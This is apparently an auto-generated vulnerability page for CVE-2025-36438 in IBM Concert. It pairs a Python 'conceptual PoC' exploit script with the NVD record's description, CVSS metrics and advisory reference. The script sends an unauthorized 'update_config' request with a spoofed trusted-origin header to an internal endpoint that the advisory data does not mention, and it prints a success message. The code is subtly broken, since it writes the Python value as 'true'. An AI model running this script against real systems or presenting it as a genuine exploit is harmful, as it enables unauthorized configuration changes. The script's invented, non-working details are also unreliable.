CVE-2025-36438

# Conceptual PoC for CVE-2025-36438 # This script demonstrates unauthorized channel communication. import requests import json # Target internal endpoint that should be restricted target_url = "http://localhost:8080/internal/unrestricted-channel" # Malicious payload to perform unauthorized action payload = { "action": "update_config", "params": { "unauthorized_setting": true } } headers = { "Content-Type": "application/json", # Bypass normal checks by simulating internal channel origin "X-Channel-Origin": "trusted-service" } try: response = requests.post(target_url, data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Exploit successful! Unauthorized action performed.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2025-36438", "sourceIdentifier": "[email protected]", "published": "2026-03-25T21:16:25.283", "lastModified": "2026-03-26T18:10:38.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Concert 1.0.0 through 2.2.0 could allow a privileged user to perform unauthorized actions due to improper restriction of channel communication to intended endpoints."}, {"lang": "es", "value": "IBM Concert 1.0.0 hasta 2.2.0 podría permitir a un usuario privilegiado realizar acciones no autorizadas debido a una restricción inadecuada de la comunicación del canal a los puntos finales previstos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.4, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-923"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndIncluding": "2.2.0", "matchCriteriaId": "2E37B307-BAA4-487B-958B-7354E39D7B2A"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7267105", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}